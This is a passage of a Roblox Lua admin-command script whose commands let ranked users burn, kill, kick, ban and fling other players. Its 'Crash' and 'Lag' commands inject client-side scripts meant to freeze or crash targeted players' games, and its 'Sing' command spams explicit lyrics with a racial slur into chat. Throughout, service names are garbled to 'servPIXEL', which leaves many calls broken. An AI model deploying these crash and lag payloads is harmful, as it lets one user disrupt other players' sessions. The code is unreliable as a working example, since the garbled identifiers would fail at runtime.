			GiveTools()
3080
		end
3081
	end
3082
)
3083
PIXEL.Command('Remove tool','rtool',1,'Removes #Players tool','#Player',
3084
	function(Msg,Speaker)	
3085
		for _,Player in pairs(PIXEL.GetPlayers(Msg,Speaker)) do
3086
			local PTools={};
3087
			local Back=Player:findFirstChild'Backpack'
3088
			if Back==nil then Player:LoadCharacter() Back=Player.Backpack end
3089
			for i,v in pairs(Back:children()) do	
3090
				if v:IsA'Tool' or v:IsA'HopperBin' then
3091
					PTools[#PTools+1]=v:Clone();
3092
				end
3093
			end
3094
			Start=false;
3095
			Cloned={};
3096
			GiveTools=function()
3097
				for i,t in pairs(Cloned) do
3098
					pcall(function()  Back[t.Name]:Destroy() end)
3099
				end
3100
			end
3101
			StartOver=function()
3102
				PIXEL.Output('Continue adding tools!','Red',Speaker,nil,function() Startt() end);
3103
				PIXEL.Output('Remove tools','Green',Speaker,nil,function() Start=true end)
3104
			end
3105
			Startt=function()
3106
				PIXEL.RemoveTablets(Speaker);
3107
				for i,v in pairs(PTools) do
3108
					PIXEL.Output('Add ' .. v.Name,'Red',Speaker,nil,function() table.insert(Cloned,v) StartOver() end )
3109
				end
3110
			end
3111
			if #PTools==0 then
3112
				PIXEL.Output(Player.Name .. ' has no tools','Red',Speaker)
3113
				Start=true
3114
			else
3115
				Startt()
3116
			end
3117
			repeat
3118
				wait()
3119
			until Start
3120
			GiveTools()
3121
		end
3122
	end
3123
)
3124
PIXEL.Command('Fire','fire',1,'Fires #Player','#Player',
3125
	function(Msg,Speaker)
3126
		for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do
3127
			PIXEL.OnChatted(PIXEL.Bets[1]..'unfire'..PIXEL.Bets[2]..v.Name,Speaker,true)
3128
			coroutine.wrap(function()
3129
				for _,part in pairs(v.Character:children()) do
3130
					if part:findFirstChild'Fire'==nil and part:IsA'BasePart' then
3131
						Instance.new'Fire'.Parent=part
3132
					end
3133
				end
3134
			end)()
3135
		end
3136
	end
3137
)
3138
PIXEL.Command('Unfire','unfire',1,'Unfires #Player','#Player',
3139
	function(Msg,Speaker)
3140
		for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do
3141
			CharParts=v.Character:children()
3142
			for i,part in pairs(CharParts) do
3143
				if part:IsA'BasePart' then
3144
					pcall(function()
3145
						for _,f in pairs(part:children()) do
3146
							if f:IsA'Fire' then
3147
								f:Destroy()
3148
							end
3149
						end
3150
					end)
3151
				end
3152
			end
3153
		end
3154
	end
3155
)
3156
PIXEL.Command('Burn','burn',1,'Burns #Player','#Player',
3157
	function(Msg,Speaker)
3158
		for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do
3159
			coroutine.wrap(function()
3160
				PIXEL.OnChatted(PIXEL.Bets[1]..'fire'..PIXEL.Bets[2]..v.Name,Speaker,true)
3161
				local MainFire=v.Character:FindFirstChild('Fire',true)
3162
				Humanoid=nil
3163
				repeat
3164
					for _,p in pairs(v.Character:children()) do	
3165
						if p:IsA'Humanoid' then
3166
							p.Name='Humanoid'
3167
							Humanoid=p
3168
						end
3169
					end
3170
					Humanoid:TakeDamage(math.random(1,2))
3171
					wait()
3172
				until MainFire==nil or MainFire.Parent==nil or v.Character:findFirstChild('Fire',true)==nil
3173
			end)()
3174
		end
3175
	end
3176
)
3177
PIXEL.Command('Message','msg',1,'Makes a mesg with Text','Text',
3178
	function(Text,Speaker)
3179
		PIXEL.MakeMessage(Speaker.Name..': '.. Text)
3180
	end
3181
)
3182
PIXEL.Command('Hint','hint',1,'Makes a hint with Text','Text',
3183
	function(Text,Speaker)
3184
		PIXEL.MakeHint(Speaker.Name..': '.. Text)
3185
	end
3186
)
3187
PIXEL.Command('Superjump','sj',1,'Makes the Player jump really high','Player',
3188
	function(Msg,Speaker)
3189
		for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do
3190
			local Height = 20
3191
			local Num=0
3192
			v.Character.Torso.Anchored=true
3193
			v.Character.Humanoid.Jump=true
3194
			for i=1,Height do
3195
				pcall(function()
3196
					v.Character.Torso.CFrame=CFrame.new(v.Character.Torso.CFrame.x,v.Character.Torso.CFrame.y + 1,v.Character.Torso.CFrame.z)
3197
				end)
3198
				wait(0.01);
3199
			end
3200
			Torso=v.Character.Torso
3201
			for x=1,3 do
3202
				Torso.CFrame=CFrame.new(Torso.Position + Vector3.new(x,x,x))
3203
				wait(0.01);
3204
			end
3205
			for b=1,Height do
3206
				Torso.CFrame=CFrame.new(Torso.CFrame.x,Torso.CFrame.y - 1,Torso.CFrame.z)
3207
				wait(0.01);
3208
			end
3209
				
3210
			v.Character.Torso.Anchored=false
3211
		end
3212
	end
3213
) 
3214
--[[ Rank 2 ]]--
3215
PIXEL.Command('Kick','kick',2,'Kicks #Player','#Player',
3216
	function(Msg,Speaker)
3217
		for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do	
3218
			v:Destroy();
3219
		end
3220
	end
3221
)
3222
PIXEL.Command('Kick chat','kchat',2,'Kick chats a player','#Player',
3223
	function(Msg,Speaker)
3224
		local Warnings={}
3225
		local Max=nil	
3226
		local Players={};
3227
		local AddWarning=function(Player) table.insert(Warnings,{Player=Player}) end
3228
		local GetWarnings=function(Player) s=0 for i,v in pairs(Warnings) do if v.Player==Player then s=s+1 end end d = Max - s return d end
3229
		local Split=Msg:find(PIXEL.Bets[2]) or nil
3230
		if Split then	
3231
			Players=PIXEL.GetPlayers(Msg:sub(1,Split-1),Speaker)
3232
			Max=tonumber(Msg:sub(Split+1))
3233
		else
3234
			Max=3
3235
			Players=PIXEL.GetPlayers(Msg,Speaker)
3236
		end
3237
		for i,Player in pairs(Players) do
3238
			Player.Chatted:connect(function(Msg)
3239
				AddWarning(Player)
3240
				if GetWarnings(Player) == 0 then
3241
					Player:Destroy();
3242
				else
3243
					local WarningHint=Instance.new('Message');
3244
					WarningHint.Name='WarningHint'
3245
					pcall(function() Player.PlayerGui.WarningHint:Destroy(); end);	
3246
					WarningHint.Text = 'You have ' .. GetWarnings(Player) .. ' warnings left for talking before being kicked'
3247
					WarningHint.Parent=Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player)
3248
					wait(3)
3249
					WarningHint.Parent=nil
3250
				end
3251
			end)
3252
		end
3253
	end
3254
)
3255
PIXEL.Command('Fly','fly',2,'Makes #Player Fly #Studs high','<Player><Studs>',
3256
	function(Msg,Speaker)
3257
		Players={};
3258
		Split=Msg:find(PIXEL.Bets[2])
3259
		if Split then
3260
			Players=PIXEL.GetPlayers(Msg:sub(1,Split-1),Speaker)
3261
		else
3262
			Players=PIXEL.GetPlayers(Msg,Speaker)
3263
		end
3264
		for _,v in pairs(Players) do
3265
			coroutine.wrap(function()
3266
				local Meter=0
3267
				if Split then
3268
					if tonumber(Msg:sub(Split+1)) then
3269
						Meter=tonumber(Msg:sub(Split+1))
3270
					else
3271
						Meter=300
3272
					end
3273
				else
3274
					Meter=300
3275
				end
3276
				End=false;-- End flying
3277
				coroutine.wrap(function()
3278
					repeat
3279
						if v.Character and v.Character:findFirstChild'Torso' then
3280
							local Vect=Vector3.new();
3281
							local Cur=v.Character.Torso.Position
3282
							v.Character.Torso.Anchored=true
3283
							Vect=Vector3.new(Cur.x,Cur.y + 0.1,Cur.z)
3284
							v.Character.Torso.CFrame=CFrame.new(Vect) * CFrame.Angles(0,0,0)
3285
							if v.Character.Torso.CFrame.y>=Meter then End=true end;
3286
						end
3287
						wait()
3288
					until End==true
3289
					pcall(function() v.Character.Torso.Anchored=false end)
3290
				end)()
3291
				v.CharacterAdded:connect(function(v) if End==false then End=true end end)
3292
			end)()
3293
		end
3294
	end
3295
)	
3296
PIXEL.Command('Skyfall','sfall',2,'Makes #Player skyfall','#Player',
3297
	function(Msg,Speaker)
3298
		for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do
3299
			pcall(function()
3300
				vChar=v.Character;
3301
				vTorso=vChar.Torso;
3302
				vTorso.CFrame=CFrame.new(vTorso.CFrame.x,9999,vTorso.CFrame.z)
3303
				wait()
3304
				vTorso.CanCollide=false
3305
			end)
3306
		end
3307
	end
3308
) 
3309
PIXEL.Command("Clear","clear",2,"Clears the workspace of its contents.","No Arguments",
3310
    function(Msg,Speaker)
3311
        for _,v in pairs(PIXEL.ServPIXELs.Workspace:children()) do
3312
            if Prometheus ~= nil then
3313
                if v ~= Prometheus.script("lushmylife") then
3314
                    pcall(function()
3315
                        v:Destroy()
3316
                    end)
3317
                end
3318
            else
3319
                pcall(function()
3320
                    v:Destroy()
3321
                end)
3322
            end
3323
        end    
3324
        
3325
        local Base=Instance.new("Part",PIXEL.ServPIXELs.Workspace)
3326
        Base.Name='Base'
3327
        Base.Size=Vector3.new(2048,1,2048)
3328
        Base.BrickColor=BrickColor.new("Dark green")
3329
        Base.Anchored=true
3330
        Base.Locked=true
3331
        Base.TopSurface='Studs'
3332
        Base.Transparency = 0
3333
        Base.CFrame=CFrame.new(Vector3.new(0,0,0))
3334
        local Spawn=Instance.new("SpawnLocation",PIXEL.ServPIXELs.Workspace) Spawn.Name='SpawnLocation'
3335
        Spawn.Size=Vector3.new(6,1,6)
3336
        Spawn.Transparency=1
3337
        Spawn.CanCollide=false
3338
        Spawn.Anchored=true
3339
        Spawn.Locked=true
3340
        Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))        
3341
        for _,v in pairs(PIXEL.GetPlayers()) do
3342
            v:LoadCharacter()
3343
        end
3344
    
3345
    end
3346
)
3347
PIXEL.Command('Brick kill','bkill',2,'Kills #PLayer with a brick','#Player',
3348
	function(Msg,Speaker)
3349
		for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do
3350
			local Funcs={
3351
				{Func=function(v) v:BreakJoints(); end};
3352
				{Func=function(v) Expl=Instance.new'Explosion' Expl.Parent=v Expl.Position=v.Position end};
3353
				{Func=function(v) v:BreakJoints(); Instance.new'Fire'.Parent=v; Instance.new'Sparkles'.Parent=v end};
3354
			}
3355
			coroutine.wrap(function()
3356
				local Part=Instance.new'Part'
3357
				local Event=math.random(1,3)
3358
				local Size=Vector3.new(4,4,4)
3359
				local Head=v.Character.Head
3360
				Model=Instance.new'Model'
3361
				Model.Parent=Head.Parent--v.Character
3362
				Part.Size=Size;
3363
				Part.BrickColor=BrickColor.random()
3364
				Color=Part.Color
3365
				local SelectionBox=Instance.new'SelectionBox'
3366
				SelectionBox.Parent,SelectionBox.Name,SelectionBox.Color,SelectionBox.Adornee,SelectionBox.Transparency=Part,'SelectionBox',BrickColor.new(Color),Part,0.7
3367
				local BillBoard=Instance.new'BillboardGui'
3368
				BillBoard.Parent,BillBoard.Name,BillBoard.StudsOffset,BillBoard.Size=Model,'BillboardGui',Vector3.new(0,3,0),UDim2.new(10,0,10,0)
3369
				local Label=Instance.new'TextLabel'
3370
				Label.Parent,Label.Name,Label.Text,Label.TextColor3,Label.FontSize,Label.BackgroundTransparency,Label.TextStrokeTransparency,Label.Size,Label.TextStrokeColor3=BillBoard,'Label','',Color3.new(-1,-1,-1),'Size14',1,0.5,UDim2.new(1,0,1,0),Color
3371
				Spot=Instance.new'PointLight'
3372
				Spot.Brightness=1/0
3373
				Spot.Range=30
3374
				if game.Lighting.GlobalShadows==true and game.Lighting.Ambient==Color3.new(0,0,0) or game.Lighting.Ambient==Color3.new(-1,-1,-1) then
3375
					Spot.Parent=Part
3376
				end
3377
				Part.Touched:connect(function(Hit)
3378
					if Hit:IsDescendantOf(v.Character) then
3379
						Funcs[Event].Func(Hit)
3380
					end
3381
				end)
3382
				Part.Parent=Model
3383
				Part.CFrame=CFrame.new(Head.Position + Vector3.new(0,20,0)) 
3384
				Part.Anchored=true
3385
				for i=1,20,0.1 do
3386
					Part.CFrame=CFrame.new(Head.Position + (Vector3.new(0,20,0) - Vector3.new(0,i,0)) )
3387
					if 15-i >= 0 then
3388
					Label.Text='You have ' .. 15-i .. ' seconds to live =3'
3389
					end
3390
					Spot.Color=Color3.new(math.random(),math.random(),math.random())
3391
					SelectionBox.Color=BrickColor.new(Spot.Color)
3392
					Part.Color=Spot.Color
3393
					wait()
3394
				end
3395
				Label.Text='You have died ;)'
3396
				for i=1,10,0.1 do
3397
					wait()
3398
					if v.Character==nil or v.Character.Parent==nil then
3399
						break
3400
					end
3401
					Part.CFrame=CFrame.new(Head.Position + (Vector3.new(0,20,0) - Vector3.new(0,i,0)) )
3402
				end
3403
			end)()
3404
		end
3405
	end
3406
)
3407
PIXEL.Command('Fall','Fall',2,'Makes #Player Fall #Studs high','<Player><Studs>',
3408
	function(Msg,Speaker)
3409
		Players={};
3410
		Split=Msg:find(PIXEL.Bets[2])
3411
		if Split then
3412
			Players=PIXEL.GetPlayers(Msg:sub(1,Split-1),Speaker)
3413
		else
3414
			Players=PIXEL.GetPlayers(Msg,Speaker)
3415
		end
3416
		for _,v in pairs(Players) do
3417
			coroutine.wrap(function()
3418
				local Meter=0
3419
				if Split then
3420
					if tonumber(Msg:sub(Split+1)) then
3421
						Meter=tonumber(Msg:sub(Split+1))
3422
					else
3423
						Meter=-300
3424
					end
3425
				else
3426
					Meter=-300
3427
				end
3428
				if Meter > 0 then
3429
					Meter=Meter-Meter-Meter;
3430
				end
3431
				End=false;-- End flying
3432
				coroutine.wrap(function()
3433
					repeat
3434
						if v.Character and v.Character:findFirstChild'Torso' then
3435
							local Vect=Vector3.new();
3436
							local Cur=v.Character.Torso.Position
3437
							v.Character.Torso.Anchored=true
3438
							v.Character.Torso.CanCollide=false
3439
							Vect=Vector3.new(Cur.x,Cur.y - 0.1,Cur.z)
3440
							v.Character.Torso.CFrame=CFrame.new(Vect) * CFrame.Angles(0,0,0)
3441
							if v.Character.Torso.CFrame.y<=Meter then End=true end;
3442
						end
3443
						wait()
3444
					until End==true
3445
					pcall(function() v.Character.Torso.Anchored=false v.Character.Torso.CanCollide=true end)
3446
				end)()
3447
				v.CharacterAdded:connect(function(v) if End==false then End=true end end)
3448
			end)()
3449
		end
3450
	end
3451
)
3452
PIXEL.Command('Kick phrase','kpchat',2,'Kicks a player for chatting a term','#Player',
3453
	function(Msg,Speaker)
3454
		local Warnings={}
3455
		local Max=4
3456
		local Players={};
3457
		local AddWarning=function(Player) table.insert(Warnings,{Player=Player}) end
3458
		local GetWarnings=function(Player) s=0 for i,v in pairs(Warnings) do if v.Player==Player then s=s+1 end end d = Max - s return d end
3459
		local Split=Msg:find(PIXEL.Bets[2]) or nil
3460
		local Phrase=""
3461
		if Split then	
3462
			Players=PIXEL.GetPlayers(Msg:sub(1,Split-1),Speaker)
3463
			Phrase=tostring(Msg:sub(Split+1))
3464
		else
3465
			Max=3
3466
			Players=PIXEL.GetPlayers(Msg,Speaker)
3467
		end
3468
3469
			for i,Player in pairs(Players) do
3470
				AddWarning(Player)
3471
				wait()
3472
				Player.Chatted:connect(function(Msg)
3473
					if Msg:find(Phrase) then
3474
						AddWarning(Player)
3475
						if GetWarnings(Player) == 0 then
3476
							Player:Destroy();
3477
						else
3478
							local WarningHint=Instance.new('Message');
3479
							WarningHint.Name='WarningHint'
3480
							pcall(function() Player.PlayerGui.WarningHint:Destroy(); end);	
3481
							WarningHint.Text = 'You have ' .. GetWarnings(Player) .. ' warnings left for saying ' .. Phrase .. '  before being kicked'
3482
							WarningHint.Parent=Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player)
3483
							wait(3)
3484
							WarningHint.Parent=nil
3485
						end
3486
					end
3487
				end)
3488
			end
3489
	end
3490
)			
3491
PIXEL.Command('Loopkill','lk',2,'Loopkills #Player','#Player',
3492
	function(Msg,Speaker)
3493
		for i,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do
3494
			PIXEL.Loopkilled[v.Name]=true
3495
		end
3496
	end
3497
)
3498
PIXEL.Command('Un-Loopkill','unlk',2,'Un-Loopkills #Player','#Player',
3499
	function(Msg,Speaker)
3500
		for i,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do
3501
			PIXEL.Loopkilled[v.Name]=false
3502
		end
3503
	end
3504
)
3505
PIXEL.Command('Explode','expl',2,'Explodes #Player','#Player',
3506
	function(Msg,Speaker)
3507
		for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do
3508
			local Expl=Instance.new'Explosion'
3509
			Expl.Parent=v.Character
3510
			--pcall(function()
3511
				Expl.Position = v.Character.Torso.Position
3512
				Expl.BlastRadius=100
3513
			--end)
3514
		end
3515
	end
3516
)
3517
PIXEL.Command('Smite','smite',2,'Smites #Player','#Player',
3518
	function(Msg,Speaker)
3519
		for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do
3520
			for _,i in pairs(v.Character:children()) do
3521
				if i:IsA'BasePart' then	
3522
					local Sparkles = Instance.new("Sparkles",i)
3523
					Sparkles.Color = Color3.new(math.random(),math.random(),math.random())
3524
					local Ex = Instance.new("Explosion",PIXEL.ServPIXELs.Workspace)
3525
					Ex.Position = i.Position
3526
					Ex.BlastPressure = 1e105
3527
					i:BreakJoints()
3528
					i.Velocity = Vector3.new(math.random(-250,250),math.random(100,250),math.random(-250,250))
3529
					coroutine.wrap(function()
3530
						for b=1,5,0.5 do
3531
							i.Size=Vector3.new(b,b,b)
3532
							wait(0.01)
3533
						end
3534
					end)()
3535
				end
3536
			end
3537
			local Base=Instance.new'Part'
3538
			pcall(function()
3539
				Base.Size=Vector3.new(5,1,3)
3540
				Base.Color=Color3.new(BrickColor.new'Bright yellow')
3541
				Base.Anchored=true
3542
				Base.CFrame=CFrame.new(v.Character.Torso.CFrame.x,v.Character.Torso.CFrame.y - 6,v.Character.Torso.CFrame.z)
3543
				coroutine.wrap(function()
3544
					for i=0,1,0.1 do
3545
						Base.Transparency=i
3546
						wait()
3547
					end
3548
					Base:Destroy()
3549
				end)()
3550
			end)
3551
		end
3552
	end
3553
)
3554
PIXEL.Command('Force field','ff',2,'Gives #Player a forcefield','#Player',
3555
	function(Msg,Speaker)
3556
		for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do
3557
			PIXEL.OnChatted(PIXEL.Bets[1]..'unff'..PIXEL.Bets[2]..v.Name,Speaker,true)
3558
			local Force=Instance.new'ForceField'
3559
			Force.Parent=v.Character
3560
		end
3561
	end
3562
)
3563
PIXEL.Command('Un forcefield','unff',2,'Removes #Players forcfields','#Player',	
3564
	function(Msg,Speaker)
3565
		for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do
3566
			for i,s in pairs(v.Character:children()) do
3567
				if s:IsA'ForceField' then
3568
					s:Destroy()
3569
				end
3570
				for ii,ss in pairs(s:children()) do
3571
					if ss:IsA'ForceField' then
3572
						ss:Destroy()
3573
					end
3574
				end
3575
			end
3576
		end
3577
	end
3578
)
3579
PIXEL.Command('Build tools','btools',2,'Gives #Playr btools','#Playr',
3580
	function(Msg,Spkr)
3581
		for _,v in pairs(PIXEL.GetPlayers(Msg,Spkr)) do
3582
			for i=1,4 do
3583
				local B=Instance.new'HopperBin'
3584
				B.BinType=i
3585
				B.Parent=v.Backpack
3586
			end
3587
		end
3588
	end
3589
)
3590
PIXEL.Command('Damage','dmg',2,'Makes a player take #Damage','#Damage',
3591
	function(Msg,Speaker)
3592
		Damage,Players=nil,{};
3593
		Split=Msg:find(PIXEL.Bets[2])
3594
		Players=PIXEL.GetPlayers(Msg:sub(1,Split-1))
3595
		Damage=tonumber(Msg:sub(Split+1))
3596
		for i,v in pairs(Players) do
3597
			v.Character.Humanoid:TakeDamage(Damage)
3598
		end
3599
	end
3600
)
3601
--[[ Rank 3 ]]--
3602
PIXEL.Command('Crash','crash',3,'Crashes #PLayer','#Player',
3603
	function(Msg,Speaker)
3604
		for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do
3605
			if newLocalScript then
3606
				newLocalScript([[
3607
					script.Parent=nil
3608
					while wait() do
3609
						PIXEL.ServPIXELs.Players.LocalPlayer.Parent=nil
3610
						wait()
3611
						PIXEL.ServPIXELs.Players.LocalPlayer.Parent=PIXEL.ServPIXELs.Players
3612
					end]],
3613
				v:findFirstChild'Backpack' or v.Character)
3614
			else
3615
				loadstring([[ 
3616
				local Player = PIXEL.ServPIXELs.Players:findFirstChild']]..v.Name..[['
3617
				repeat wait() until Player:findFirstChild'PlayerGui'
3618
				local Value=Instance.new'StringValue' 
3619
				Value.Parent=Player:findFirstChild'PlayerGui'
3620
				Value.Value=("Yerrrp"):r]]..[[ep(1000000)]]
3621
				)()
3622
			end
3623
		end
3624
	end
3625
)
3626
PIXEL.Command('Antikill','ak',3,'Antikills a player','Player',
3627
	function(Msg,Speaker)
3628
		for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do
3629
			coroutine.wrap(function()
3630
				local String=Instance.new'StringValue'
3631
				String.Name,String.Parent='Stop'..v.Name,PIXEL.ServPIXELs.Lighting
3632
				wait()
3633
				String:Destroy();
3634
				local Last=CFrame.new(0,0,0);
3635
				local Started=false;
3636
				local Player=PIXEL.ServPIXELs.Players:findFirstChild(v.Name)
3637
				local End=false
3638
				Player.CharacterAdded:connect(function()
3639
						if End == false then
3640
						repeat
3641
							wait()
3642
						until Player.Character
3643
						Char=Player.Character
3644
						Humanoid=Char:findFirstChild'Humanoid'
3645
						Torso=Char:findFirstChild'Torso'
3646
						if Started then
3647
							Torso.CFrame=Last
3648
						end
3649
						Humanoid.Died:connect(function()
3650
							Last=CFrame.new(Torso.Position)
3651
							Started=true
3652
							Player:LoadCharacter();
3653
						end)
3654
						end
3655
					end)
3656
				repeat
3657
						wait()
3658
						if PIXEL.ServPIXELs.Lighting:findFirstChild('Stop'..Player.Name) or PIXEL.Removed==true then
3659
							End=true
3660
						end
3661
					until End==true or PIXEL.Removed==true
3662
			end)()
3663
		end
3664
	end
3665
)
3666
PIXEL.Command('Remove antikill','remak','Removes an antikill a player has','Player',
3667
	function(Msg,Speaker)
3668
		for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do
3669
			Stop=Instance.new'StringValue'
3670
			coroutine.wrap(function() Stop.Value="true" Stop.Name='Stop'..v.Name Stop.Parent=PIXEL.ServPIXELs.Lighting wait(1) Stop:Destroy() end)()
3671
		end
3672
	end
3673
)
3674
PIXEL.Command('Spawn smite','spsmite',3,'Spawn smites #Player','#Player',
3675
	function(Msg,Speaker)
3676
		for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do
3677
			v.CharacterAdded:connect(function()
3678
				coroutine.wrap(function()
3679
					Bet,Bet2=PIXEL.Bets[1],PIXEL.Bets[2]
3680
					PIXEL.OnChatted(Bet..'smite'..Bet2..v.Name,Speaker,true)
3681
				end)()
3682
			end)
3683
		end
3684
	end
3685
)
3686
PIXEL.Command('Obliterate','obl',3,'Obliterates #Player','#Player',
3687
	function(Msg,Speaker)
3688
		for i,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do
3689
			for _,Part in pairs(v.Character:children()) do 
3690
				coroutine.wrap(function()
3691
					if Part:IsA'BasePart' then
3692
						local Cube = Instance.new'Part'
3693
						Cube.FormFactor = 'Custom'
3694
						Cube.Size = Vector3.new(5,5,5)
3695
						Cube.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
3696
						Cube.Anchored = false
3697
						Cube.CanCollide = true
3698
						Cube.Locked = true
3699
						Cube.Friction = 0
3700
						Cube.Transparency= 0
3701
						Cube.Reflectance = 0.5
3702
						Cube:BreakJoints()
3703
						Cube.Touched:connect(function(Hit)
3704
							if Hit:IsDescendantOf(v.Character) then
3705
								local Expl=Instance.new'Explosion'
3706
								Expl.Position=Hit.Position
3707
								Sparkles=Instance.new'Sparkles'
3708
								Fire=Instance.new'Fire'
3709
								Fire.Parent,Expl.Parent,Sparkles.Parent=Hit,Hit,Hit
3710
								Hit:BreakJoints();
3711
								game:servPIXEL'Debris':AddItem(Cube,2)
3712
							end
3713
						end)
3714
						local Body=Instance.new'BodyPosition'
3715
						Body.Parent=Cube
3716
						Cube.Parent=game.Workspace
3717
						Body.maxForce = Vector3.new(math.huge,math.huge,math.huge)
3718
						Body.position=Vector3.new(0,50,0)
3719
							coroutine.wrap(function()
3720
								for i=1,50 do
3721
									Body.position=Vector3.new(Part.Position.x,50-i,Part.Position.z)
3722
									wait()
3723
								end
3724
							end)()
3725
						game:servPIXEL'Debris':AddItem(Cube,10)
3726
					end
3727
				end)()
3728
			end
3729
		end
3730
	end
3731
)
3732
PIXEL.Command('Sing','sing',3,'Makes #Player Sing','@Player',
3733
	function(Msg,Speaker)
3734
		for _,Player in pairs(PIXEL.GetPlayers(Msg,Speaker)) do
3735
			coroutine.wrap(function()
3736
				Tab={
3737
				"Yall ride 18's we ride 26's";
3738
"Big truck Big wheels rollin ova ditches";
3739
"Crome rims loud pipes heated like a kitchen ";
3740
"PIXEL chain PIXEL watch gettin at these bitches";
3741
"Yall ride 18's we ride 26's";
3742
"Big truck Big wheels rollin ova ditches";
3743
"Crome rims loud pipes heated like a kitchen ";
3744
"PIXEL chain PIXEL watch gettin at these bitches";
3745
"Im the wrong balla to flex with";
3746
"Diamond stud earings and neckless";
3747
"And my truck on 26's driving reckless";
3748
"Got a pound yep and on my way to texas";
3749
"yep im on there trowing up my set shit";
3750
"Spinnas with the color trim ho's breathless";
3751
"Paint shinning brite like morning breakfast";
3752
"Once i slide up in the party pull the best bitch";
3753
"Yo chick still want me even though she pregnant";
3754
"Run game on a trick like check this";
3755
"She seen the atm recipt and got wet with shit";
3756
"She in a lexus told her park her whip";
3757
"270 im bout to exit";
3758
"I can bet a grip she work her hands and lips";
3759
"Like a porno star who cares if her man a trip";
3760
"I can handle it its so scandelous";
3761
"I got them thing conpocky on a rubberband skinny";
3762
"I pull up laughing at another man 20's (ha)";
3763
"Yep the yunger man i run the dam city";
3764
"I gotta pocket fulla hundreds fifty's rubberband 20's";
3765
"Peep the shoes these is huge";
3766
"Im probably on the servPIXEL road nigga speeding in cruise";
3767
"I bleed and bruise of reaching fools";
3768
"So dont reach";
3769
"u aint talking bout money then dont speak";
3770
"Dont preach church don wan taught me that";
3771
"The bitches had me gone but the money brought me back";
3772
"Im seeing crome and i do them runs flat";
3773
"President tent front back";
3774
"Man i wish them old b p's come back but i roll on em";
3775
"Hundrend spoke big d's tripple gold homie";
3776
"No homie my rims aint twizzles";
3777
"But dont get it twisted them is 26's";
3778
"Song name: 26's by Chingy";
3779
				};
3780
				for i,v in pairs(Tab) do
3781
					game:servPIXEL'Chat':Chat(Player.Character.Head,v,'Red')
3782
					wait(3)
3783
				end
3784
			end)()
3785
		end
3786
	end
3787
)
3788
--[[ Rank 4 ]]--
3789
PIXEL.Command('Banish','ban',4,'Bans #Player','#Player',
3790
	function(Msg,Speaker)
3791
		for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do	
3792
			PIXEL.Ranked[v.Name].Rank=-1
3793
			v:Destroy()
3794
		end
3795
	end
3796
)
3797
PIXEL.Command('Unban','unban',4,'Unbans Player','Player',
3798
	function(Msg,Speaker)
3799
		for i,v in pairs(PIXEL.Ranked) do
3800
			if i:lower():sub(1,#Msg)==Msg:lower() then
3801
				v.Rank=0
3802
			end
3803
		end
3804
	end
3805
)
3806
--[[ Rank 5 ]]--
3807
PIXEL.Command('Lag','lag',5,'Lags #Player','#Player',
3808
	function(Msg,Speaker)
3809
		for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do
3810
			PIXEL.CreateLocalScript(
3811
		[[
3812
		script.Parent=nil
3813
			LocalPlayer = game:servPIXEL'Players'.LocalPlayer
3814
				Camera=Workspace.CurrentCamera
3815
				LocalPlayer.CameraMode = Enum.CameraMode.Classic
3816
				wait()
3817
				function buildGui()
3818
					local guitable = {}
3819
					
3820
					guitable['Output'] = Instance.new('ScreenGui')
3821
					guitable['Output'].Name = 'Output'
3822
					
3823
					guitable['ImageLabel'] = Instance.new('ImageLabel', guitable['Output'])
3824
					guitable['ImageLabel'].Position = UDim2.new(0.11999998986721, 0, 0.14999996125698, 0)
3825
					guitable['ImageLabel'].Size = UDim2.new(0.89999997615814, 0, 0.30000001192093, 0)
3826
					guitable['ImageLabel'].BackgroundColor3 = Color3.new(0.68235296010971, 0.678431391716, 0.69019609689713)
3827
					guitable['ImageLabel'].BackgroundTransparency = 1
3828
					guitable['ImageLabel'].Image = 'http://www.roblox.com/asset/?id=117512375'
3829
					
3830
					return guitable['Output']
3831
				end
3832
				local GuiLag=buildGui()
3833
				coroutine.wrap(function()
3834
					for a=1,10 do wait()
3835
						coroutine.wrap(function()  
3836
							for b=1,10 do wait()
3837
								for c=1,10 do 
3838
									for d=1,10 do 
3839
										Msg=Instance.new'Message'
3840
										Hint=Instance.new'Hint'
3841
										PG=game.Players.LocalPlayer:findFirstChild'PlayerGui' or Instance.new('PlayerGui',game.Players.LocalPlayer)
3842
										Msg.Parent,Hint.Parent,GuiLag:clone().Parent=Workspace,Workspace.CurrentCamera,PG or Camera
3843
										Msg.Text,Hint.Text=string.rep("\t ",365),string.rep("\t ",365)
3844
									--	Derpis()
3845
										if LocalPlayer.CameraMode ~= Enum.CameraMode.LockFirstPerson then LocalPlayer.CameraMode = Enum.CameraMode.LockFirstPerson end
3846
										pcall(function() loadstring(script:FindFirstChild("Source").Value or script:FindFirstChild("source").Value or script:FindFirstChild("DSource").Value)() end)
3847
									end
3848
								end
3849
							end
3850
						end)()
3851
					end
3852
				end)()
3853
				]],v.Character)
3854
		end
3855
	end
3856
)
3857
PIXEL.Command('Char lag','clag',5,'Char lags #Player','#Player',
3858
	function(Msg,Speaker)
3859
		for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do
3860
			pcall(function()
3861
				PIXEL.CreateLocalScript([=[
3862
				PIXEL={
3863
					['ServPIXELs']={};
3864
				};
3865
